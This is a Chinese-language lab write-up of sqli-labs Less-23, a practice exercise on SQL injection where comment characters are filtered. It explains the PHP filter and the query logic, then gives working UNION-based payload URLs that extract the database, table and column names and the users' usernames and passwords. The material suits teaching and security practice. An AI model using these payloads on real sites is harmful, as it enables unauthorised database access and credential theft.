基于错误_GET_过滤注释_单引号_字符型注入
Page 2 的高级关主要是各种过滤与限制条件,又回到了GET
很是亲切。
0x01. 判断注入类型
http://localhost:8088/sqlilabs/Less-23/?id=1'
可以看出是单引号闭合的查询,这里报错还把站点路径爆出来了。
0x02. PHP 语法
preg_replace() 函数
preg_replace(pattern,replacement,subject[,limit=-1[,&count]])
参数 | 描述 |
---|---|
pattern | 要搜索的模式,可以是字符串或一个字符串数组 |
replacement | 用于替换的字符串或字符串数组 |
subject | 要搜索替换的目标字符串或字符串数组 |
limit | 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制) |
count | 可选,为替换执行的次数 |
preg_replace()
函数执行一个正则表达式的搜索和替换,搜索subject
中匹配pattern
的部分, 以replacement
进行替换。
如果subject
是一个数组,preg_replace()
返回一个数组,其他情况下返回一个字符串。
如果匹配被查找到,替换后的subject
被返回,其他情况下返回没有改变的subject
。如果发生错误,返回NULL
。
在这关中,也只是将#
和--
替换成了空字符
。
0x03. 过滤绕过
http://localhost:8088/sqlilabs/Less-23/?id=1' order by 4--+
http://localhost:8088/sqlilabs/Less-23/?id=1' order by 4#
http://localhost:8088/sqlilabs/Less-23/?id=1' order by 4%23
判断字段数时问题来了:尝试两种注释方式发现报错回显中LIMIT
语句仍在起作用,注释没有起作用,即使把#
URL编码为%23
仍被过滤。
这时就要分析 SQL 语句找到绕过注入的方式,后台的查询语句是这样的:
SELECT * FROM table_name WHERE id='$id' LIMIT 0,1
注入点在id
处,我们要判断字段数用的是order by
子句,同时闭合第二个单引号:
SELECT * FROM table_name WHERE id='1' order by 4 and '1'='1' LIMIT 0,1
本意是能从报错信息判断查询返回表共有几个字段,但是回显很正常:
在 MySQL 中分别查询两个顺序不同的语句,结果如下:
很是不解,思考后猜测:
where
与order by
是子句,and
是操作符,用于where
子句。
在MySQL的执行顺序中,where
是远在order by
前面的。在第一个查询语句中,
id='1' and '1'='1'
作为where
的条件,先被执行,得到结果集;然后是order by
,因结果集中无第四个字段所以报错。在第二个查询语句中,
order by
在where
的条件中,在where
执行时被忽略了,结果集生成后并未再执行order by
。
给出一个参考:MySQL 解析顺序
所以这关不能用order by
来判断字段数,而要用union
:
SELECT * FROM table_name WHERE id='1' union select 1,2,3,4 or '1'='1' LIMIT 0,1
这里的or
作为了联合查询第二个语句的条件而不是第一个语句where
的条件。
http://localhost:8088/sqlilabs/Less-23/?id=1' union select 1,2,3,4 or '1'='1
当select
加到4
时报错,得出共3
个字段。
注入时闭合查询语句即绕过过滤如下:
SELECT * FROM table_name WHERE id='-1' union [select c_1,c_2,(c_3] or '1'='1') LIMIT 0,1
这里id
等于-1
在 Less 1 中解释过,使原查询左边为空,使我们定义的查询结果返回。
注意:这里的or '1'='1'
是作为column_3
的操作符,因其为永真条件,在column_3
回显处会显示1
,所以不能在column_3
处注入。
http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 2,3,4 or '1'='1
所以唯一的回显字段便是username
即column_2
,这也是唯一的注入点。
0x04. 注入过程
步骤1:数据库名
http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 2,database(),4 or '1'='1
步骤2:表名
http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 2,(select group_concat(table_name) from information_schema.tables where table_schema='security'),4 or '1'='1
注意:因为这里涉及到where
与or
语句的混合,只能用双注入即CONCAT子查询。
步骤3:字段名
http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),4 or '1'='1
步骤4:数据
http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 2,(select group_concat(concat_ws('-',id,username,password)) from users),4 or '1'='1
注:其实不一定要用or '1'='1
来闭合,也可以直接用column_3
闭合:
http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,password)) from users),'3
0x05. 吐槽
想要学好还得精通 MySQL 和 PHP 才行啊。